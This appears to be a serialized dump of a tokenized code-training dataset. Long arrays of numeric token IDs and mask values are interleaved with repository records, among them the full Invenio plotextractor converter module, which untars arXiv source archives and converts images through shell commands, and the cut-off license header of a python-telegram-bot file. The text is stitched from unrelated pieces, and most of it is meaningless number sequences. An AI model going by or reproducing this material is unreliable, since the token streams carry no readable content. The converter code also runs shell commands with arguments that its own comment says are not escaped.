873, 63, 4753, 63, 2343, 8, 277, 12, 1067, 12, 3303, 5740, 63, 344, 12, 3341, 12, 3303, 3145, 29, 797, 304, 267, 862, 26, 288, 5740, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 8, 1100, 12, 5740, 63, 344, 9, 288, 372, 291, 14, 2405, 63, 1246, 14, 873, 63, 4753, 63, 2343, 8, 1100, 12, 14663, 5740, 12, 14663, 3341, 12, 14663, 3145, 9, 267, 871, 1919, 14, 12038, 4667, 26, 288, 1499, 275, 4018, 4753, 1630, 440, 2187, 358, 288, 746, 3178, 14, 26553, 8, 15228, 29, 1328, 9, 398, 871, 334, 3393, 12, 4281, 304, 288, 1499, 275, 3824, 29513, 1056, 2396, 531, 288, 746, 3178, 14, 21070, 8, 15228, 29, 1328, 9, 398, 871, 1919, 14, 3364, 6464, 5142, 465, 1125, 26, 288, 746, 3178, 14, 21070, 8, 15228, 29, 705, 14, 1328, 9, 398, 871, 1919, 14, 3364, 6464, 5142, 2320, 465, 1125, 26, 288, 746, 3178, 14, 21053, 7302, 13749, 17149, 8, 15228, 29, 705, 14, 1328, 9, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 3396, 2081, 4231, 9 ]
[ 1898, 7760, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 14568, 199, 504, 14568, 492, 3178, 199, 199, 504, 13069, 14, 1246, 492, 2863, 199, 504, 13069, 14, 1246, 14, 8512, 492, 12464, 199, 504, 13069, 492, 1919, 199, 504, 13069, 14, 73, 1085, 78, 492, 485, 199, 504, 13069, 492, 3301, 421, 199, 533, 16282, 8, 6508, 14, 7506, 304, 272, 408, 1918, 5740, 3341, 3261, 7614, 367, 314, 14260, 3261, 1041, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 2405, 63, 1246, 275, 3301, 14, 3735, 342, 267, 1613, 8, 7506, 12, 291, 2843, 826, 4533, 339, 347, 485, 362, 63, 2343, 8, 277, 12, 1067, 12, 5740, 63, 344, 304, 267, 862, 26, 288, 5740, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 8, 1100, 12, 5740, 63, 344, 9, 288, 3404, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 63, 2343, 8, 1100, 12, 5740, 9, 267, 871, 1919, 14, 12038, 4667, 26, 288, 1499, 275, 4018, 4753, 1630, 440, 2187, 358, 288, 746, 3178, 14, 26553, 8, 15228, 29, 1328, 9, 267, 372, 3404, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 347, 1478, 8, 277, 12, 2648, 12, 5740, 63, 344, 304, 267, 408, 3407, 314, 769, 402, 3341, 367, 282, 1627, 5740, 1041, 267, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 372, 791, 2343, 356, 291, 423, 362, 63, 2343, 8, 1100, 12, 5740, 63, 344, 6769, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 5142, 872, 8349, 9, 272, 347, 1218, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 2396, 304, 267, 862, 26, 288, 3341, 275, 2396, 459, 2343, 418, 267, 871, 334, 10230, 12, 3146, 304, 288, 1499, 275, 3824, 29513, 1056, 2396, 531, 288, 746, 3178, 14, 21070, 8, 15228, 29, 1328, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 398, 892, 63, 2343, 275, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 10028, 5740, 63, 344, 12, 10028, 3341, 12, 10028, 3145, 29, 797, 9, 398, 372, 791, 2343, 356, 892, 63, 2343, 93, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 3396, 2081, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 3396, 2081, 872, 8349, 9, 272, 347, 1678, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 1305, 12, 2396, 304, 267, 862, 26, 288, 3404, 63, 1053, 275, 2396, 459, 2024, 418, 267, 871, 334, 4333, 12, 4067, 304, 288, 29278, 275, 4018, 29513, 1056, 2396, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 340, 1305, 440, 315, 3404, 63, 1053, 26, 288, 29278, 275, 4018, 2017, 2396, 436, 9022, 15015, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 340, 822, 8, 2024, 63, 1053, 9, 690, 413, 26, 288, 29278, 275, 4018, 2017, 2396, 3509, 4634, 5002, 2974, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 4318, 5740, 63, 344, 12, 4318, 3404, 63, 1053, 12, 4318, 3145, 29, 797, 9, 398, 372, 791, 2024, 356, 3404, 63, 1053, 93, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 5142, 872, 8349, 9, 272, 347, 1678, 63, 452, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 2396, 304, 267, 862, 26, 288, 3341, 275, 2396, 459, 2343, 418, 267, 871, 334, 4333, 12, 4067, 304, 288, 29278, 275, 4018, 29513, 1056, 2396, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 892, 63, 2343, 275, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 10028, 5740, 63, 344, 12, 10028, 3341, 12, 10028, 3145, 29, 549, 9, 398, 372, 791, 2343, 356, 892, 63, 2343, 93, 339, 347, 485, 873, 63, 4753, 63, 2343, 8, 277, 12, 1067, 12, 3303, 5740, 63, 344, 12, 3341, 12, 3303, 3145, 29, 797, 304, 267, 862, 26, 288, 5740, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 8, 1100, 12, 5740, 63, 344, 9, 288, 372, 291, 14, 2405, 63, 1246, 14, 873, 63, 4753, 63, 2343, 8, 1100, 12, 14663, 5740, 12, 14663, 3341, 12, 14663, 3145, 9, 267, 871, 1919, 14, 12038, 4667, 26, 288, 1499, 275, 4018, 4753, 1630, 440, 2187, 358, 288, 746, 3178, 14, 26553, 8, 15228, 29, 1328, 9, 398, 871, 334, 3393, 12, 4281, 304, 288, 1499, 275, 3824, 29513, 1056, 2396, 531, 288, 746, 3178, 14, 21070, 8, 15228, 29, 1328, 9, 398, 871, 1919, 14, 3364, 6464, 5142, 465, 1125, 26, 288, 746, 3178, 14, 21070, 8, 15228, 29, 705, 14, 1328, 9, 398, 871, 1919, 14, 3364, 6464, 5142, 2320, 465, 1125, 26, 288, 746, 3178, 14, 21053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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Theer108/invenio
invenio/utils/plotextractor/converter.py
17
7984
# -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2010, 2011 CERN. # # Invenio is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # Invenio is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Invenio; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. import os import re from invenio.utils.shell import run_shell_command, run_process_with_timeout, Timeout from .output_utils import get_converted_image_name, \ write_message def untar(original_tarball, sdir): """ Here we decide if our file is actually a tarball (sometimes the 'tarballs' gotten from arXiv aren't actually tarballs. If they 'contain' only the TeX file, then they are just that file.), then we untar it if so and decide which of its constituents are the TeX file and which are the images. @param: tarball (string): the name of the tar file from arXiv @param: dir (string): the directory where we would like it untarred to @return: (image_list, tex_file) (([string, string, ...], string)): list of images in the tarball and the name of the TeX file in the tarball. """ tarball = check_for_gzip(original_tarball) dummy1, cmd_out, cmd_err = run_shell_command('file %s', (tarball,)) tarball_output = 'tar archive' if re.search(tarball_output, cmd_out) == None: run_shell_command('rm %s', (tarball,)) return ([], [], None) cmd_list = ['tar', 'xvf', tarball, '-C', sdir] dummy1, cmd_out, cmd_err = run_process_with_timeout(cmd_list) if cmd_err != '': return ([], [], None) if original_tarball != tarball: run_shell_command('rm %s', (tarball,)) cmd_out = cmd_out.split('\n') tex_output_contains = 'TeX' tex_file_extension = 'tex' image_output_contains = 'image' eps_output_contains = '- type eps' ps_output_contains = 'Postscript' file_list = [] image_list = [] might_be_tex = [] for extracted_file in cmd_out: if extracted_file == '': break if extracted_file.startswith('./'): extracted_file = extracted_file[2:] # ensure we are actually looking at the right file extracted_file = os.path.join(sdir, extracted_file) # Add to full list of extracted files file_list.append(extracted_file) dummy1, cmd_out, dummy2 = run_shell_command('file %s', (extracted_file,)) # is it TeX? if cmd_out.find(tex_output_contains) > -1: might_be_tex.append(extracted_file) # is it an image? elif cmd_out.lower().find(image_output_contains) > cmd_out.find(':') \ or \ cmd_out.lower().find(eps_output_contains) > cmd_out.find(':')\ or \ cmd_out.find(ps_output_contains) > cmd_out.find(':'): # we have "image" in the output, and it is not in the filename # i.e. filename.ext: blah blah image blah blah image_list.append(extracted_file) # if neither, maybe it is TeX or an image anyway, otherwise, # we don't care else: if extracted_file.split('.')[-1].lower() == tex_file_extension: # we might have tex source! might_be_tex.append(extracted_file) elif extracted_file.split('.')[-1] in ['eps', 'png', \ 'ps', 'jpg', 'pdf']: # we might have an image! image_list.append(extracted_file) if might_be_tex == []: # well, that's tragic # could not find TeX file in tar archive return ([], [], []) return (file_list, image_list, might_be_tex) def check_for_gzip(tfile): """ Was that tarball also gzipped? Let's find out! @param: file (string): the name of the object (so we can gunzip, if that's necessary) @output: a gunzipped file in the directory of choice, if that's necessary @return new_file (string): The name of the file after gunzipping or the original name of the file if that wasn't necessary """ gzip_contains = 'gzip compressed data' dummy1, cmd_out, dummy2 = run_shell_command('file %s', (tfile,)) if cmd_out.find(gzip_contains) > -1: # we have a gzip! # so gzip is retarded and won't accept any file that doesn't end # with .gz. sad. run_shell_command('cp %s %s', (tfile, tfile + '.tar.gz')) new_dest = os.path.join(os.path.split(tfile)[0], 'tmp.tar') run_shell_command('touch %s', (new_dest,)) dummy1, cmd_out, cmd_err = run_shell_command('gunzip -c %s', (tfile + '.tar.gz',)) if cmd_err != '': write_message('Error while gunzipping ' + tfile) return tfile tarfile = open(new_dest, 'w') tarfile.write(cmd_out) tarfile.close() run_shell_command('rm %s', (tfile + '.tar.gz',)) return new_dest return tfile def convert_images(image_list): """ Here we figure out the types of the images that were extracted from the tarball and determine how to convert them into PNG. @param: image_list ([string, string, ...]): the list of image files extracted from the tarball in step 1 @return: image_list ([str, str, ...]): The list of image files when all have been converted to PNG format. """ png_output_contains = 'PNG image' ret_list = [] for image_file in image_list: if os.path.isdir(image_file): continue # FIXME: here and everywhere else in the plot extractor # library the run shell command statements should be (1) # called with timeout in order to prevent runaway imagemagick # conversions; (2) the arguments should be passed properly so # that they are escaped. dummy1, cmd_out, dummy2 = run_shell_command('file %s', (image_file,)) if cmd_out.find(png_output_contains) > -1: ret_list.append(image_file) else: # we're just going to assume that ImageMagick can convert all # the image types that we may be faced with # for sure it can do EPS->PNG and JPG->PNG and PS->PNG # and PSTEX->PNG converted_image_file = get_converted_image_name(image_file) cmd_list = ['convert', image_file, converted_image_file] try: dummy1, cmd_out, cmd_err = run_process_with_timeout(cmd_list) if cmd_err == '': ret_list.append(converted_image_file) else: write_message('convert failed on ' + image_file) except Timeout: write_message('convert timed out on ' + image_file) return ret_list def extract_text(tarball): """ We check to see if there's a file called tarball.pdf, and, if there is, we run pdftotext on it. Simple as that. @param: tarball (string): the raw name of the tarball @return: None """ try: os.stat(tarball + '.pdf') cmd_list = ['pdftotext', tarball + '.pdf ', tarball + '.txt'] dummy1, dummy2, cmd_err = run_process_with_timeout(cmd_list) if cmd_err != '': return - 1 write_message('generated ' + tarball + '.txt from ' + tarball + '.pdf') except: write_message('no text from ' + tarball + '.pdf')
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 7129, 12, 7760, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 646, 747, 199, 646, 295, 199, 199, 504, 13640, 14, 1208, 14, 5641, 492, 1255, 63, 5641, 63, 1531, 12, 1255, 63, 1412, 63, 1045, 63, 2593, 12, 12878, 199, 504, 1275, 1199, 63, 1208, 492, 664, 63, 22818, 63, 1569, 63, 354, 12, 971, 6901, 2218, 63, 1188, 199, 199, 318, 625, 5369, 8, 5043, 63, 18829, 12, 308, 694, 304, 272, 408, 272, 11842, 781, 19822, 340, 4154, 570, 365, 5965, 282, 17641, 334, 3972, 4508, 314, 272, 283, 18829, 83, 7, 4788, 724, 687, 601, 56, 1003, 10621, 1133, 5965, 17641, 83, 14, 221, 982, 2985, 272, 283, 7747, 7, 1454, 314, 5773, 56, 570, 12, 2066, 2985, 787, 2951, 626, 570, 15631, 2066, 272, 781, 625, 5369, 652, 340, 880, 436, 19822, 1314, 402, 2399, 950, 390, 85, 24871, 787, 314, 272, 5773, 56, 570, 436, 1314, 787, 314, 5935, 14, 339, 768, 635, 26, 17641, 334, 875, 304, 314, 536, 402, 314, 5330, 570, 687, 601, 56, 1003, 272, 768, 635, 26, 2935, 334, 875, 304, 314, 2082, 2382, 781, 3955, 2839, 652, 625, 5369, 581, 370, 339, 768, 1107, 26, 334, 1569, 63, 513, 12, 14709, 63, 493, 9, 334, 779, 875, 12, 1059, 12, 2263, 467, 1059, 2298, 267, 769, 402, 5935, 315, 314, 17641, 436, 314, 536, 402, 314, 5773, 56, 570, 315, 314, 267, 17641, 14, 272, 408, 339, 17641, 275, 1104, 63, 509, 63, 12256, 8, 5043, 63, 18829, 9, 272, 7283, 17, 12, 2088, 63, 548, 12, 2088, 63, 1508, 275, 1255, 63, 5641, 63, 1531, 360, 493, 450, 83, 297, 334, 18829, 4641, 272, 17641, 63, 1199, 275, 283, 5369, 6359, 7, 272, 340, 295, 14, 1733, 8, 18829, 63, 1199, 12, 2088, 63, 548, 9, 508, 488, 26, 267, 1255, 63, 5641, 63, 1531, 360, 5682, 450, 83, 297, 334, 18829, 4641, 267, 372, 23293, 990, 488, 9, 272, 2088, 63, 513, 275, 788, 5369, 297, 283, 88, 19963, 297, 17641, 12, 2475, 35, 297, 308, 694, 61, 272, 7283, 17, 12, 2088, 63, 548, 12, 2088, 63, 1508, 275, 1255, 63, 1412, 63, 1045, 63, 2593, 8, 1760, 63, 513, 9, 339, 340, 2088, 63, 1508, 1137, 8061, 267, 372, 23293, 990, 488, 9, 272, 340, 3379, 63, 18829, 1137, 17641, 26, 267, 1255, 63, 5641, 63, 1531, 360, 5682, 450, 83, 297, 334, 18829, 4641, 272, 2088, 63, 548, 275, 2088, 63, 548, 14, 1294, 2258, 78, 358, 339, 14709, 63, 1199, 63, 6134, 275, 283, 12589, 7, 339, 14709, 63, 493, 63, 3435, 275, 283, 3858, 7, 272, 1834, 63, 1199, 63, 6134, 275, 283, 1569, 7, 272, 10245, 63, 1199, 63, 6134, 275, 2475, 730, 10245, 7, 272, 7347, 63, 1199, 63, 6134, 275, 283, 6564, 1579, 7, 339, 570, 63, 513, 275, 942, 272, 1834, 63, 513, 275, 942, 272, 5594, 63, 1235, 63, 3858, 275, 942, 339, 367, 12509, 63, 493, 315, 2088, 63, 548, 26, 267, 340, 12509, 63, 493, 508, 8061, 288, 2059, 267, 340, 12509, 63, 493, 14, 2460, 17371, 735, 288, 12509, 63, 493, 275, 12509, 63, 493, 59, 18, 2938, 267, 327, 4868, 781, 787, 5965, 10023, 737, 314, 2451, 570, 267, 12509, 63, 493, 275, 747, 14, 515, 14, 904, 8, 83, 694, 12, 12509, 63, 493, 9, 398, 327, 2654, 370, 2615, 769, 402, 12509, 1584, 267, 570, 63, 513, 14, 740, 8, 29939, 63, 493, 9, 398, 7283, 17, 12, 2088, 63, 548, 12, 7283, 18, 275, 1255, 63, 5641, 63, 1531, 360, 493, 450, 83, 297, 334, 29939, 63, 493, 4641, 398, 327, 365, 652, 5773, 56, 31, 267, 340, 2088, 63, 548, 14, 1623, 8, 3858, 63, 1199, 63, 6134, 9, 690, 446, 17, 26, 288, 5594, 63, 1235, 63, 3858, 14, 740, 8, 29939, 63, 493, 9, 398, 327, 365, 652, 376, 1834, 31, 267, 916, 2088, 63, 548, 14, 2325, 1252, 1623, 8, 1569, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 11633, 971, 355, 503, 971, 355, 2088, 63, 548, 14, 2325, 1252, 1623, 8, 8277, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 11633, 60, 355, 503, 971, 355, 2088, 63, 548, 14, 1623, 8, 1190, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 6176, 735, 288, 327, 781, 1172, 298, 1569, 2, 315, 314, 1072, 12, 436, 652, 365, 440, 315, 314, 1788, 288, 327, 284, 14, 69, 14, 1788, 14, 832, 26, 14359, 14359, 1834, 14359, 14359, 288, 1834, 63, 513, 14, 740, 8, 29939, 63, 493, 9, 398, 327, 340, 15564, 12, 11703, 652, 365, 5773, 56, 503, 376, 1834, 15988, 12, 4257, 12, 267, 327, 781, 2793, 1133, 10296, 267, 587, 26, 288, 340, 12509, 63, 493, 14, 1294, 29084, 17, 1055, 2325, 342, 508, 14709, 63, 493, 63, 3435, 26, 355, 327, 781, 5594, 1172, 14709, 1350, 1, 355, 5594, 63, 1235, 63, 3858, 14, 740, 8, 29939, 63, 493, 9, 288, 916, 12509, 63, 493, 14, 1294, 29084, 17, 61, 315, 788 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 7129, 12, 7760, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 646, 747, 199, 646, 295, 199, 199, 504, 13640, 14, 1208, 14, 5641, 492, 1255, 63, 5641, 63, 1531, 12, 1255, 63, 1412, 63, 1045, 63, 2593, 12, 12878, 199, 504, 1275, 1199, 63, 1208, 492, 664, 63, 22818, 63, 1569, 63, 354, 12, 971, 6901, 2218, 63, 1188, 199, 199, 318, 625, 5369, 8, 5043, 63, 18829, 12, 308, 694, 304, 272, 408, 272, 11842, 781, 19822, 340, 4154, 570, 365, 5965, 282, 17641, 334, 3972, 4508, 314, 272, 283, 18829, 83, 7, 4788, 724, 687, 601, 56, 1003, 10621, 1133, 5965, 17641, 83, 14, 221, 982, 2985, 272, 283, 7747, 7, 1454, 314, 5773, 56, 570, 12, 2066, 2985, 787, 2951, 626, 570, 15631, 2066, 272, 781, 625, 5369, 652, 340, 880, 436, 19822, 1314, 402, 2399, 950, 390, 85, 24871, 787, 314, 272, 5773, 56, 570, 436, 1314, 787, 314, 5935, 14, 339, 768, 635, 26, 17641, 334, 875, 304, 314, 536, 402, 314, 5330, 570, 687, 601, 56, 1003, 272, 768, 635, 26, 2935, 334, 875, 304, 314, 2082, 2382, 781, 3955, 2839, 652, 625, 5369, 581, 370, 339, 768, 1107, 26, 334, 1569, 63, 513, 12, 14709, 63, 493, 9, 334, 779, 875, 12, 1059, 12, 2263, 467, 1059, 2298, 267, 769, 402, 5935, 315, 314, 17641, 436, 314, 536, 402, 314, 5773, 56, 570, 315, 314, 267, 17641, 14, 272, 408, 339, 17641, 275, 1104, 63, 509, 63, 12256, 8, 5043, 63, 18829, 9, 272, 7283, 17, 12, 2088, 63, 548, 12, 2088, 63, 1508, 275, 1255, 63, 5641, 63, 1531, 360, 493, 450, 83, 297, 334, 18829, 4641, 272, 17641, 63, 1199, 275, 283, 5369, 6359, 7, 272, 340, 295, 14, 1733, 8, 18829, 63, 1199, 12, 2088, 63, 548, 9, 508, 488, 26, 267, 1255, 63, 5641, 63, 1531, 360, 5682, 450, 83, 297, 334, 18829, 4641, 267, 372, 23293, 990, 488, 9, 272, 2088, 63, 513, 275, 788, 5369, 297, 283, 88, 19963, 297, 17641, 12, 2475, 35, 297, 308, 694, 61, 272, 7283, 17, 12, 2088, 63, 548, 12, 2088, 63, 1508, 275, 1255, 63, 1412, 63, 1045, 63, 2593, 8, 1760, 63, 513, 9, 339, 340, 2088, 63, 1508, 1137, 8061, 267, 372, 23293, 990, 488, 9, 272, 340, 3379, 63, 18829, 1137, 17641, 26, 267, 1255, 63, 5641, 63, 1531, 360, 5682, 450, 83, 297, 334, 18829, 4641, 272, 2088, 63, 548, 275, 2088, 63, 548, 14, 1294, 2258, 78, 358, 339, 14709, 63, 1199, 63, 6134, 275, 283, 12589, 7, 339, 14709, 63, 493, 63, 3435, 275, 283, 3858, 7, 272, 1834, 63, 1199, 63, 6134, 275, 283, 1569, 7, 272, 10245, 63, 1199, 63, 6134, 275, 2475, 730, 10245, 7, 272, 7347, 63, 1199, 63, 6134, 275, 283, 6564, 1579, 7, 339, 570, 63, 513, 275, 942, 272, 1834, 63, 513, 275, 942, 272, 5594, 63, 1235, 63, 3858, 275, 942, 339, 367, 12509, 63, 493, 315, 2088, 63, 548, 26, 267, 340, 12509, 63, 493, 508, 8061, 288, 2059, 267, 340, 12509, 63, 493, 14, 2460, 17371, 735, 288, 12509, 63, 493, 275, 12509, 63, 493, 59, 18, 2938, 267, 327, 4868, 781, 787, 5965, 10023, 737, 314, 2451, 570, 267, 12509, 63, 493, 275, 747, 14, 515, 14, 904, 8, 83, 694, 12, 12509, 63, 493, 9, 398, 327, 2654, 370, 2615, 769, 402, 12509, 1584, 267, 570, 63, 513, 14, 740, 8, 29939, 63, 493, 9, 398, 7283, 17, 12, 2088, 63, 548, 12, 7283, 18, 275, 1255, 63, 5641, 63, 1531, 360, 493, 450, 83, 297, 334, 29939, 63, 493, 4641, 398, 327, 365, 652, 5773, 56, 31, 267, 340, 2088, 63, 548, 14, 1623, 8, 3858, 63, 1199, 63, 6134, 9, 690, 446, 17, 26, 288, 5594, 63, 1235, 63, 3858, 14, 740, 8, 29939, 63, 493, 9, 398, 327, 365, 652, 376, 1834, 31, 267, 916, 2088, 63, 548, 14, 2325, 1252, 1623, 8, 1569, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 11633, 971, 355, 503, 971, 355, 2088, 63, 548, 14, 2325, 1252, 1623, 8, 8277, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 11633, 60, 355, 503, 971, 355, 2088, 63, 548, 14, 1623, 8, 1190, 63, 1199, 63, 6134, 9, 690, 2088, 63, 548, 14, 1623, 6176, 735, 288, 327, 781, 1172, 298, 1569, 2, 315, 314, 1072, 12, 436, 652, 365, 440, 315, 314, 1788, 288, 327, 284, 14, 69, 14, 1788, 14, 832, 26, 14359, 14359, 1834, 14359, 14359, 288, 1834, 63, 513, 14, 740, 8, 29939, 63, 493, 9, 398, 327, 340, 15564, 12, 11703, 652, 365, 5773, 56, 503, 376, 1834, 15988, 12, 4257, 12, 267, 327, 781, 2793, 1133, 10296, 267, 587, 26, 288, 340, 12509, 63, 493, 14, 1294, 29084, 17, 1055, 2325, 342, 508, 14709, 63, 493, 63, 3435, 26, 355, 327, 781, 5594, 1172, 14709, 1350, 1, 355, 5594, 63, 1235, 63, 3858, 14, 740, 8, 29939, 63, 493, 9, 288, 916, 12509, 63, 493, 14, 1294, 29084, 17, 61, 315, 788, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
noam09/deluge-telegramer
telegramer/include/telegram/passport/credentials.py
1
17262
#!/usr/bin/env python # # A library that provides a Python interface to the Telegram Bot API # Copyright (C) 2015-2018 # Leandro Toledo de Souza <devs@python-telegram-bot.org> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser Public License for more details. # # You should have received a copy of the GNU Lesser Public License # along with this program. If not, see 